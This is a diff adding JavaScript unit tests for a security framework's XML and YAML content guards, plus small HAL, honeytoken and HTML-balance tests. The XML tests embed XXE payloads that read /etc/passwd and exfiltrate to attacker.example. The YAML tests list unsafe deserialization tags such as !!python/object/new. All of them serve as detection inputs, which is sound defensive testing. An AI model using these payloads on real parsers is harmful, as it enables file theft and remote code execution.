@blamejs/blamejs-shop 0.0.44

package/lib/vendor/blamejs/test/layer-0-primitives/guard-xml.test.js

@@ -0,0 +1,202 @@
+"use strict";
+/**
+ * guard-xml — XML content-safety primitive (b.guardXml).
+ *
+ * Covers: surface; registry parity; DOCTYPE rejection; ENTITY +
+ * parameter-entity rejection; external-entity (file:// / http://
+ * SYSTEM/PUBLIC) detection; XInclude detection; xsi:schemaLocation;
+ * processing-instruction detection (skipping standard <?xml?>
+ * declaration); CDATA detection; XML signature detection (audit);
+ * bidi/null/control char detection; element-count + depth caps;
+ * sanitize discipline (refuses on critical even with strip-able
+ * options); profile + posture vocabulary.
+ */
+
+var helpers = require("../helpers");
+var b       = helpers.b;
+var check   = helpers.check;
+
+function testGuardXmlSurface() {
+  check("guardXml is an object",                    typeof b.guardXml === "object");
+  check("guardXml.NAME === 'xml'",                  b.guardXml.NAME === "xml");
+  check("guardXml.KIND === 'content'",              b.guardXml.KIND === "content");
+  check("guardXml.MIME_TYPES has application/xml",  b.guardXml.MIME_TYPES.indexOf("application/xml") !== -1);
+  check("guardXml.EXTENSIONS has .xml",             b.guardXml.EXTENSIONS.indexOf(".xml") !== -1);
+  check("guardXml.PROFILES has strict",             !!b.guardXml.PROFILES["strict"]);
+  check("guardXml.PROFILES has balanced",           !!b.guardXml.PROFILES["balanced"]);
+  check("guardXml.PROFILES has permissive",         !!b.guardXml.PROFILES["permissive"]);
+  check("guardXml.COMPLIANCE_POSTURES has hipaa",   !!b.guardXml.COMPLIANCE_POSTURES["hipaa"]);
+  check("guardXml.validate is a function",          typeof b.guardXml.validate === "function");
+  check("guardXml.sanitize is a function",          typeof b.guardXml.sanitize === "function");
+  check("guardXml.gate is a function",              typeof b.guardXml.gate === "function");
+  check("frameworkError.GuardXmlError exposed",     typeof b.frameworkError.GuardXmlError === "function");
+}
+
+function testGuardXmlRegistryParity() {
+  check("guardXml registered in guardAll",
+        b.guardAll.list().some(function (g) { return g.name === "xml"; }));
+}
+
+function testGuardXmlDoctype() {
+  var rv = b.guardXml.validate(
+    '<?xml version="1.0"?>\n<!DOCTYPE root>\n<root/>',
+    { profile: "strict" });
+  check("DOCTYPE detected (XXE / billion-laughs vector)",
+        rv.ok === false &&
+        rv.issues.some(function (i) { return i.kind === "doctype"; }));
+}
+
+function testGuardXmlEntityDeclaration() {
+  var rv = b.guardXml.validate(
+    '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x "y">]><r>&x;</r>',
+    { profile: "strict" });
+  check("<!ENTITY> declaration detected",
+        rv.issues.some(function (i) { return i.kind === "entity-declaration"; }));
+}
+
+function testGuardXmlParameterEntity() {
+  var rv = b.guardXml.validate(
+    '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % p "v">]><r/>',
+    { profile: "strict" });
+  check("parameter entity (% prefix) detected",
+        rv.issues.some(function (i) { return i.kind === "parameter-entity"; }));
+}
+
+function testGuardXmlExternalEntity() {
+  var rv = b.guardXml.validate(
+    '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>',
+    { profile: "strict" });
+  check("external SYSTEM file:// entity detected (XXE)",
+        rv.issues.some(function (i) { return i.kind === "external-entity"; }));
+
+  var rvHttp = b.guardXml.validate(
+    '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "http://attacker.example/x">]><r/>',
+    { profile: "strict" });
+  check("external SYSTEM http:// entity detected (XXE OOB exfil)",
+        rvHttp.issues.some(function (i) { return i.kind === "external-entity"; }));
+}
+
+function testGuardXmlXInclude() {
+  var rv = b.guardXml.validate(
+    '<?xml version="1.0"?><r xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="x"/></r>',
+    { profile: "strict" });
+  check("XInclude detected (CVE-2024-25062 class)",
+        rv.issues.some(function (i) { return i.kind === "xinclude"; }));
+}
+
+function testGuardXmlSchemaLocation() {
+  var rv = b.guardXml.validate(
+    '<r xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://attacker/s.xsd">x</r>',
+    { profile: "strict" });
+  check("xsi:schemaLocation detected",
+        rv.issues.some(function (i) { return i.kind === "schema-location"; }));
+}
+
+function testGuardXmlProcessingInstruction() {
+  var rv = b.guardXml.validate(
+    '<?xml-stylesheet type="text/css" href="x.css"?><r/>',
+    { profile: "strict" });
+  check("xml-stylesheet processing-instruction detected (CSS injection vector)",
+        rv.issues.some(function (i) { return i.kind === "processing-instruction"; }));
+
+  // Standard <?xml?> declaration should NOT be flagged.
+  var rvStd = b.guardXml.validate('<?xml version="1.0"?><r/>', { profile: "strict" });
+  check("standard <?xml?> declaration NOT flagged",
+        !rvStd.issues.some(function (i) { return i.kind === "processing-instruction"; }));
+}
+
+function testGuardXmlCdata() {
+  var rv = b.guardXml.validate(
+    '<r><![CDATA[hidden payload]]></r>',
+    { profile: "strict" });
+  check("CDATA section detected",
+        rv.issues.some(function (i) { return i.kind === "cdata"; }));
+}
+
+function testGuardXmlBidiNull() {
+  var bidi = String.fromCharCode(0x202E);
+  var rv = b.guardXml.validate("<r>a" + bidi + "b</r>", { profile: "strict" });
+  check("bidi override detected",
+        rv.issues.some(function (i) { return i.kind === "bidi-override"; }));
+
+  var nb = String.fromCharCode(0);
+  var rvNull = b.guardXml.validate("<r>a" + nb + "b</r>", { profile: "strict" });
+  check("null byte detected",
+        rvNull.issues.some(function (i) { return i.kind === "null-byte"; }));
+}
+
+function testGuardXmlElementCap() {
+  var src = "<root>";
+  for (var i = 0; i < 10000; i++) src += "<x/>";
+  src += "</root>";
+  var rv = b.guardXml.validate(src, { profile: "strict" });
+  check("element cap detected (strict 8192)",
+        rv.issues.some(function (i) { return i.kind === "element-cap"; }));
+}
+
+function testGuardXmlClean() {
+  var rv = b.guardXml.validate(
+    '<?xml version="1.0"?><root><name>alice</name><age>30</age></root>',
+    { profile: "strict" });
+  check("clean XML → ok=true with no issues",
+        rv.ok === true && rv.issues.length === 0);
+}
+
+function testGuardXmlSanitizeRefusesCritical() {
+  var threw = null;
+  try { b.guardXml.sanitize(
+    '<?xml version="1.0"?><!DOCTYPE r><r/>', { profile: "balanced" }); }
+  catch (e) { threw = e; }
+  check("sanitize refuses DOCTYPE (no safe sanitization)",
+        threw && /doctype/.test(threw.code || threw.message || ""));
+}
+
+async function testGuardXmlGate() {
+  var g = b.guardXml.gate({ profile: "strict" });
+  var clean = await g.check({
+    contentType: "application/xml",
+    bytes:       Buffer.from("<r>safe</r>", "utf8"),
+  });
+  check("gate clean → action=serve",
+        clean.ok === true && clean.action === "serve");
+
+  var hostile = await g.check({
+    contentType: "application/xml",
+    bytes:       Buffer.from(
+      '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x "y">]><r/>', "utf8"),
+  });
+  check("gate XXE → action !== serve",
+        hostile.action !== "serve");
+}
+
+function testGuardXmlCompliancePosture() {
+  var hipaa = b.guardXml.compliancePosture("hipaa");
+  check("compliancePosture('hipaa') sets reject policies",
+        hipaa.doctypePolicy === "reject" && hipaa.entityPolicy === "reject");
+  var threw = null;
+  try { b.guardXml.compliancePosture("unknown"); }
+  catch (e) { threw = e; }
+  check("compliancePosture: unknown name throws",
+        threw && /unknown/.test(threw.message));
+}
+
+async function run() {
+  testGuardXmlSurface();
+  testGuardXmlRegistryParity();
+  testGuardXmlDoctype();
+  testGuardXmlEntityDeclaration();
+  testGuardXmlParameterEntity();
+  testGuardXmlExternalEntity();
+  testGuardXmlXInclude();
+  testGuardXmlSchemaLocation();
+  testGuardXmlProcessingInstruction();
+  testGuardXmlCdata();
+  testGuardXmlBidiNull();
+  testGuardXmlElementCap();
+  testGuardXmlClean();
+  testGuardXmlSanitizeRefusesCritical();
+  testGuardXmlCompliancePosture();
+  await testGuardXmlGate();
+}
+
+module.exports = { run: run };

package/lib/vendor/blamejs/test/layer-0-primitives/guard-yaml.test.js

@@ -0,0 +1,203 @@
+"use strict";
+/**
+ * guard-yaml — YAML content-safety primitive (b.guardYaml).
+ *
+ * Covers: surface; registry parity; dangerous-tag detection
+ * (!!python/ / !!java. / !!ruby/ / !!perl/ / !!js/ / !!cs/ / !!system.
+ * / !!eval / !!exec / !!new / !!apply); custom-tag and core-tag
+ * policy; anchor/alias detection; alias-explosion detection; multi-
+ * document streams; Norway-problem implicit booleans (no/yes/y/n/on/
+ * off); leading-zero octals; merge-key chain; duplicate keys at same
+ * indent level; bidi/null/control char detection; sanitize discipline
+ * (no safe sanitization — refuse on critical/high); profile + posture
+ * vocabulary.
+ */
+
+var helpers = require("../helpers");
+var b       = helpers.b;
+var check   = helpers.check;
+
+function testGuardYamlSurface() {
+  check("guardYaml is an object",                    typeof b.guardYaml === "object");
+  check("guardYaml.NAME === 'yaml'",                 b.guardYaml.NAME === "yaml");
+  check("guardYaml.KIND === 'content'",              b.guardYaml.KIND === "content");
+  check("guardYaml.MIME_TYPES has application/yaml", b.guardYaml.MIME_TYPES.indexOf("application/yaml") !== -1);
+  check("guardYaml.EXTENSIONS has .yaml",            b.guardYaml.EXTENSIONS.indexOf(".yaml") !== -1);
+  check("guardYaml.PROFILES has strict",             !!b.guardYaml.PROFILES["strict"]);
+  check("guardYaml.PROFILES has balanced",           !!b.guardYaml.PROFILES["balanced"]);
+  check("guardYaml.PROFILES has permissive",         !!b.guardYaml.PROFILES["permissive"]);
+  check("guardYaml.COMPLIANCE_POSTURES has hipaa",   !!b.guardYaml.COMPLIANCE_POSTURES["hipaa"]);
+  check("guardYaml.validate is a function",          typeof b.guardYaml.validate === "function");
+  check("guardYaml.parse is a function",             typeof b.guardYaml.parse === "function");
+  check("guardYaml.gate is a function",              typeof b.guardYaml.gate === "function");
+  check("guardYaml.GuardYamlError is a function",    typeof b.guardYaml.GuardYamlError === "function");
+  check("frameworkError.GuardYamlError exposed",     typeof b.frameworkError.GuardYamlError === "function");
+}
+
+function testGuardYamlRegistryParity() {
+  check("guardYaml registered in guardAll",
+        b.guardAll.list().some(function (g) { return g.name === "yaml"; }));
+}
+
+function testGuardYamlDangerousTags() {
+  var prefixes = ["!!python/object", "!!java.util.HashMap",
+                  "!!ruby/object:Class", "!!perl/", "!!js/Function",
+                  "!!system.IO.File", "!!eval foo", "!!apply [1]"];
+  for (var i = 0; i < prefixes.length; i++) {
+    var rv = b.guardYaml.validate(prefixes[i] + "\n", { profile: "strict" });
+    check("dangerous-tag detected: " + JSON.stringify(prefixes[i]),
+          rv.ok === false &&
+          rv.issues.some(function (issue) { return issue.kind === "dangerous-tag"; }));
+  }
+}
+
+function testGuardYamlCustomTag() {
+  var rv = b.guardYaml.validate("!Foo bar\n", { profile: "strict" });
+  check("custom tag refused under strict",
+        rv.issues.some(function (issue) { return issue.kind === "custom-tag"; }));
+}
+
+function testGuardYamlAlias() {
+  var rv = b.guardYaml.validate("a: &a v\nb: *a\n", { profile: "strict" });
+  check("anchors+aliases refused under strict",
+        rv.issues.some(function (issue) { return issue.kind === "alias-disabled"; }));
+}
+
+function testGuardYamlAliasExplosion() {
+  // Build alias-amplification > 8x anchors.
+  var src = "a: &a 1\n";
+  for (var i = 0; i < 20; i++) src += "b" + i + ": *a\n";
+  var rv = b.guardYaml.validate(src, { profile: "balanced" });
+  check("alias explosion detected (8x amplification floor)",
+        rv.issues.some(function (issue) { return issue.kind === "alias-explosion"; }));
+}
+
+function testGuardYamlMultiDoc() {
+  var rv = b.guardYaml.validate("---\nfoo: 1\n---\nbar: 2\n", { profile: "strict" });
+  check("multi-document refused under strict",
+        rv.issues.some(function (issue) { return issue.kind === "multi-document"; }));
+}
+
+function testGuardYamlNorwayProblem() {
+  var inputs = ["country: NO\n", "x: yes\n", "y: y\n", "active: on\n",
+                "mode: off\n", "n: no\n"];
+  for (var i = 0; i < inputs.length; i++) {
+    var rv = b.guardYaml.validate(inputs[i], { profile: "strict" });
+    check("Norway problem detected: " + JSON.stringify(inputs[i]),
+          rv.issues.some(function (issue) { return issue.kind === "norway-implicit-bool"; }));
+  }
+
+  // Quoted form NOT flagged.
+  var rvQuoted = b.guardYaml.validate('country: "NO"\n', { profile: "strict" });
+  check("quoted form NOT flagged",
+        !rvQuoted.issues.some(function (issue) { return issue.kind === "norway-implicit-bool"; }));
+}
+
+function testGuardYamlLeadingZeroOctal() {
+  var rv = b.guardYaml.validate("mode: 0777\n", { profile: "strict" });
+  check("leading-zero octal detected",
+        rv.issues.some(function (issue) { return issue.kind === "leading-zero-octal"; }));
+}
+
+function testGuardYamlMergeKey() {
+  var rv = b.guardYaml.validate("base: &b\n  x: 1\nuser:\n  <<: *b\n  y: 2\n",
+                                { profile: "strict" });
+  check("merge-key with anchor reference detected",
+        rv.issues.some(function (issue) { return issue.kind === "merge-key"; }));
+}
+
+function testGuardYamlDuplicateKeys() {
+  var rv = b.guardYaml.validate("a: 1\na: 2\n", { profile: "strict" });
+  check("duplicate-key detected at same indent",
+        rv.issues.some(function (issue) { return issue.kind === "duplicate-key"; }));
+
+  var rvNotDup = b.guardYaml.validate("x:\n  a: 1\ny:\n  a: 2\n", { profile: "strict" });
+  check("same key at different scopes NOT flagged",
+        !rvNotDup.issues.some(function (issue) { return issue.kind === "duplicate-key"; }));
+}
+
+function testGuardYamlBidiNull() {
+  var bidi = String.fromCharCode(0x202E);
+  var rv = b.guardYaml.validate("name: a" + bidi + "b\n", { profile: "strict" });
+  check("bidi override detected in YAML scalar",
+        rv.issues.some(function (issue) { return issue.kind === "bidi-override"; }));
+
+  var nb = String.fromCharCode(0);
+  var rvNull = b.guardYaml.validate("name: a" + nb + "b\n", { profile: "strict" });
+  check("null byte detected",
+        rvNull.issues.some(function (issue) { return issue.kind === "null-byte"; }));
+}
+
+function testGuardYamlClean() {
+  var rv = b.guardYaml.validate("name: alice\nage: 30\ntags:\n  - one\n  - two\n",
+                                { profile: "strict" });
+  check("clean YAML → ok=true with no issues",
+        rv.ok === true && rv.issues.length === 0);
+}
+
+function testGuardYamlParseStrictThrows() {
+  var threw = null;
+  try { b.guardYaml.parse("!!python/object/new:cls\nargs: [a]\n", { profile: "strict" }); }
+  catch (e) { threw = e; }
+  check("parse strict: throws on dangerous tag",
+        threw && /dangerous-tag/.test(threw.code || threw.message || ""));
+}
+
+async function testGuardYamlGate() {
+  var g = b.guardYaml.gate({ profile: "strict" });
+  var clean = await g.check({
+    contentType: "application/yaml",
+    bytes:       Buffer.from("name: alice\n", "utf8"),
+  });
+  check("gate clean → action=serve",
+        clean.ok === true && clean.action === "serve");
+
+  var hostile = await g.check({
+    contentType: "application/yaml",
+    bytes:       Buffer.from("!!python/object/new:cls\nargs: [a]\n", "utf8"),
+  });
+  check("gate dangerous tag → action !== serve",
+        hostile.action !== "serve");
+}
+
+function testGuardYamlCompliancePosture() {
+  var hipaa = b.guardYaml.compliancePosture("hipaa");
+  check("compliancePosture('hipaa') sets reject policies",
+        hipaa.tagPolicy === "reject" &&
+        hipaa.aliasPolicy === "reject");
+  var threw = null;
+  try { b.guardYaml.compliancePosture("unknown"); }
+  catch (e) { threw = e; }
+  check("compliancePosture: unknown name throws",
+        threw && /unknown/.test(threw.message));
+}
+
+function testGuardYamlBadProfile() {
+  var threw = null;
+  try { b.guardYaml.validate("a: 1\n", { profile: "made-up" }); }
+  catch (e) { threw = e; }
+  check("validate: unknown profile throws",
+        threw && /unknown profile/i.test(threw.message));
+}
+
+async function run() {
+  testGuardYamlSurface();
+  testGuardYamlRegistryParity();
+  testGuardYamlDangerousTags();
+  testGuardYamlCustomTag();
+  testGuardYamlAlias();
+  testGuardYamlAliasExplosion();
+  testGuardYamlMultiDoc();
+  testGuardYamlNorwayProblem();
+  testGuardYamlLeadingZeroOctal();
+  testGuardYamlMergeKey();
+  testGuardYamlDuplicateKeys();
+  testGuardYamlBidiNull();
+  testGuardYamlClean();
+  testGuardYamlParseStrictThrows();
+  testGuardYamlCompliancePosture();
+  testGuardYamlBadProfile();
+  await testGuardYamlGate();
+}
+
+module.exports = { run: run };

package/lib/vendor/blamejs/test/layer-0-primitives/hal.test.js

@@ -0,0 +1,51 @@
+"use strict";
+// b.hal — HAL hypermedia resource builder.
+
+var helpers = require("../helpers");
+var check = helpers.check;
+var b = helpers.b;
+
+function testResourceShape() {
+  var r = b.hal.resource(
+    { title: "Hello" },
+    { links: { self: "/articles/1" } }
+  );
+  check("resource includes payload",        r.title === "Hello");
+  check("resource includes _links",         r._links && r._links.self);
+  check("link normalized to LinkObject",    typeof r._links.self.href === "string");
+}
+
+function testEmbedded() {
+  var r = b.hal.resource(
+    { title: "Index" },
+    { embedded: { items: [{ id: 1 }, { id: 2 }] } }
+  );
+  check("resource includes _embedded array",
+    Array.isArray(r._embedded.items) && r._embedded.items.length === 2);
+}
+
+function testRefusesReservedKey() {
+  var threw = null;
+  try { b.hal.resource({ _links: {} }); }
+  catch (e) { threw = e.code; }
+  check("resource refuses payload containing _links", threw === "hal/reserved-key");
+}
+
+function testHalErrorClass() {
+  check("HalError exported", typeof b.hal.HalError === "function");
+  var e = new b.hal.HalError("hal/test", "synthetic");
+  check("HalError carries code", e.code === "hal/test");
+}
+
+function run() {
+  testResourceShape();
+  testEmbedded();
+  testRefusesReservedKey();
+  testHalErrorClass();
+}
+
+if (require.main === module) {
+  try { run(); }
+  catch (e) { console.error(e); process.exit(1); }
+}
+module.exports = { run: run };

package/lib/vendor/blamejs/test/layer-0-primitives/honeytoken.test.js

@@ -0,0 +1,50 @@
+"use strict";
+/**
+ * b.honeytoken — canary credential framework.
+ */
+
+var helpers = require("../helpers");
+var b      = helpers.b;
+var check  = helpers.check;
+
+async function run() {
+  var honey = b.honeytoken.create({});
+  check("honeytoken.create returns issue/lookup/revoke",
+    typeof honey.issue === "function" && typeof honey.lookup === "function" &&
+    typeof honey.revoke === "function" && typeof honey.size === "function");
+
+  var issued = honey.issue({ kind: "apiKey", metadata: { plantedAt: "test" } });
+  check("honeytoken.issue: returns id + value",
+    typeof issued.id === "string" && typeof issued.value === "string" &&
+    issued.value.indexOf("bk_canary_") === 0);
+
+  var record = honey.lookup(issued.value, { ip: "203.0.113.5" });
+  check("honeytoken.lookup: tripped record returned",
+    record && record.id === issued.id && record.kind === "apiKey");
+
+  check("honeytoken.lookup: unknown value returns null",
+    honey.lookup("not-a-canary") === null);
+
+  check("honeytoken.revoke: known id removed",
+    honey.revoke(issued.id) === true && honey.size() === 0);
+
+  var threw;
+  try { honey.issue({ kind: "garbage" }); } catch (e) { threw = e; }
+  check("honeytoken.issue: unknown kind throws",
+    threw && threw.code === "honeytoken/unknown-kind");
+
+  check("honeytoken.KINDS exports the supported list",
+    Array.isArray(b.honeytoken.KINDS) && b.honeytoken.KINDS.indexOf("apiKey") !== -1);
+
+  check("honeytoken.HoneytokenError class registered",
+    typeof b.honeytoken.HoneytokenError === "function");
+}
+
+module.exports = { run: run };
+
+if (require.main === module) {
+  run().then(
+    function () { console.log("[honeytoken] OK"); },
+    function (e) { console.error(e); process.exit(1); }
+  );
+}

package/lib/vendor/blamejs/test/layer-0-primitives/html-balance.test.js

@@ -0,0 +1,37 @@
+"use strict";
+
+var helpers = require("../helpers");
+var b      = helpers.b;
+var check  = helpers.check;
+
+function run() {
+  // Balanced cases.
+  check("balanced empty",                b.htmlBalance.check("")                          === null);
+  check("balanced text only",            b.htmlBalance.check("Hello world")               === null);
+  check("balanced single tag",           b.htmlBalance.check("<p>Hi</p>")                  === null);
+  check("balanced nested",               b.htmlBalance.check("<div><p>x</p></div>")        === null);
+  check("balanced void tag",             b.htmlBalance.check("<p>x<br>y</p>")              === null);
+  check("balanced self-closing",         b.htmlBalance.check("<p>x<img src=y/></p>")       === null);
+  check("balanced comment",              b.htmlBalance.check("<p><!-- ok --></p>")         === null);
+  check("balanced quoted attr with >",   b.htmlBalance.check('<a href="/x?a=1>2">y</a>')   === null);
+  check("balanced raw-text script",      b.htmlBalance.check("<script>if (a<b) f();</script>") === null);
+
+  // Unbalanced cases — must return a problem object.
+  var p1 = b.htmlBalance.check("<div>broken");
+  check("unclosed div detected",         !!p1 && p1.code === "html/unclosed-tag");
+  var p2 = b.htmlBalance.check("</p>");
+  check("orphan close detected",         !!p2 && p2.code === "html/orphan-close");
+  var p3 = b.htmlBalance.check("<div><p></div></p>");
+  check("mismatched close detected",     !!p3 && p3.code === "html/mismatched-close");
+  var p4 = b.htmlBalance.check("<!-- never closes");
+  check("unterminated comment detected", !!p4 && p4.code === "html/unterminated-comment");
+  var p5 = b.htmlBalance.check("<p>x</br></p>");
+  check("close on void element rejected", !!p5 && p5.code === "html/void-close");
+}
+
+module.exports = { run: run };
+
+if (require.main === module) {
+  run();
+  console.log("OK — " + helpers.getChecks() + " checks passed");
+}